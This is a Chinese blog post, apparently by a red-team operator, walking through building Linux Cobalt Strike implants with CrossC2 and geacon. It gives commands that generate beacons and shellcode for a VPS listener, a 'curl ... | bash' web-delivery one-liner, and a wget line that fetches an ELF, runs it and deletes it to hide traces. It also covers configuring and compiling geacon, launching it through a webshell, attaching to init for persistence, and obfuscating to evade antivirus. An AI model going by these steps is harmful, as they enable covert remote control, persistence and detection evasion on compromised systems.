1 cs3.14 linux马
https://gitee.com/mirrors_trending/CrossC2,发布了2.0版本插件
更新log
1 2 3 4 5 6 7 8 9 10 11 | -修复 修复文件管理处上传文件时带反斜杠导致路径出错的问题 -修复 真实环境中多种场景下长时间测试,修复一些隐藏的问题,现在更加稳定 +支持 更低内核版本系统的支持 +支持 启动时环境变量自动设置 +支持 启动时敏感env记录删除 +支持 启动时可后台服务进程方式挂属init进程下 +支持 增加session spawn功能 +支持 增加session 设置环境变量的功能 +支持 增加session getsystem权限提升功能 +支持 增加session 处理多个合并任务的解析功能 +支持 增加 Mac & Linux 横向移动的功能 |
1.1 加载
选择src里CrossC2.cna,CrossC2.cna需要修改脚本内容,如果客户端在windows上,则如下修改,注意正斜杠
然后有不同平台生成C2马的生成器
1.2 插件生成马步骤:
先看下生成的界面,2.0版本的windows生成工具有bug,无法生成,所以只能手动生成马,这里暂时可以不看了。
但简单说一下,.cobaltstrike.beacon_keys是cs server的监听端口的key,用于客户端发起请求生成cs马
手动的方式,你可以直接回车查看参考
提供一个可用命令
1 2 3 4 5 | #生成linux x64的cs马,输出到/tmp/CrossC2-test ./genCrossC2.Linux vps_ip listener_port ./.cobaltstrike.beacon_keys null Linux x64 /tmp/CrossC2-test #生成shellcode ./genCrossC2.Linux vps_ip listener_port ./.cobaltstrike.beacon_keys null Linux x64 /tmp/CrossC2-test shellcode |
生成后,可以直接上传目标运行。
如果是通过UI界面生成的,会提供一条命令,一键上线,但其实风险还是蛮大的,和powershell一样,会下载其他命令,这种流量很容易被捕捉到,建议还是上传二进制后操作。
因为windows有bug,无法正常生成,但可以跳过生成步骤,直接通过这个界面,快速生成web delivery,用于发送请求下载文件执行。
他这边最后outputfilename路径有两个作用,一个是通过客户端发送请求生成cs马的输出路径,另一个是将该路径下的二进制文件通过web delivery发布,这两个步骤的独立的,也就是生成马失败也同样可以正常发布,只要指定路径下存在文件即可,仍然会挂在http://vps_ip:55413/{随机字符串}下,所以通过linux生成的马,放到本地指定目录下,用于上传到server http挂载。
执行build操作后,会提供一条命令,用于下载另一个脚本并执行
1 | curl -A o -o- -L http://vps_ip:55413/a | bash -s |
下载的内容如下,其实可以简单看出,就是下载ELF文件,执行后停顿7秒然后删除文件,以此来实现内存马功能。
1 | wget -U 'O' http://vps_ip:55413/GjyyLxwTAX -O /tmp/.GjyyLxwTAX && chmod 777 /tmp/.GjyyLxwTAX && /tmp/.GjyyLxwTAX && sleep 7 && rm -f /tmp/.GjyyLxwTAX |
如果是上传ELF文件,./xxxx 执行即可,他会自动以后台服务方式挂在init进程下运行。
2. CS4.1的linux马
上面的项目作者有说明仅支持3.14,并且通过测试4.1能上线,但无法进行任何操作,应该是通信协议做了调整导致的,但现在普遍使用4.1进行操作了,来回切换版本怪麻烦的,不过有另外一个github项目已支持4.1,经过测试,效果良好。
https://github.com/darkr4y/geacon
用于cs4.1的linux马,同时也适用于windows和mac
这个项目实际上使用golang重新实现了cs的通信协议,目前支持上传下载,目录浏览以及命令执行,功能不多,但主要用途是做权限维持。
并且我基于这个项目做了一些代码优化,比如linux一键后台init进程挂载,和一些数据传输的问题。
因为是使用golang实现的通信细节,所以不存在shellcode特征,免杀效果应该会更好些,我觉得做权限维持应该会相对隐蔽些,后续可以实战测试。
简单说下调整部分
(1). linux修改为一键执行挂起到init进程下运行,主要防止作为当前进程的子进程,会在当前进程(如web进程)挂掉后,一同被杀掉。
(2). 修改上线时,ComputerName显示不全,以及程序arch显示均为x86问题,这个算是一点小bug吧。
使用步骤:
2.1 编译好作者提供的java代码,用于转换cs的beacon_key为PEM格式。
1 | java -jar BeaconTool.jar -i .cobaltstrike.beacon_keys -rsa |
2.2 然后找到cmd/config/config.go文件
(1). 将RSA公钥位置替换成上面的公钥,私钥在这里没有用,只是之前作者做测试的。
(2). 另外需要替换C2的值,这个即你设置好的Listener
(3). 如果是https的,将GetUrl和PostUrl里的前缀替换成sslHTTP。
(4). 接着编译就好了,go build -ldflags="-s -w",编译出来的文件加upx差不多2兆
PS: 其实在事先配置好的,基于不同listener,只需要修改C2的值,然后一键编译就好了,操作也不算复杂。
2.3 测试通过webshell上传并执行该程序,无不良反应,并且提供简单的文件管理功能,测试上传几兆的大文件正常。
3. 结语
上面两个算是目前针对cs的linux马,比较好的方案了,但我比较偏向于geacon,他支持4.1,并且使用golang重新实现,不同于原有网上针对shellcode的各种加载器,免杀效果会更好些,也适用于windows,并且我之前做了golang的代码混淆工具,即使当前样本被杀了,也可以实时免杀。等什么时候CrossC2支持4.1了,可以考虑,因为他支持的功能确实更多。
4. 后续
后续主要考虑对geacon项目做改造,因为作者其实留了一个csprofile.go的文件,用于profile文件解析,来支持更多的server设置,比如CDN
PS: 该功能目前开发完毕,思路是,为防止profile文件泄露,通过解析profile文件,将设置转换生成新的go代码文件,然后参与整体项目编译即可。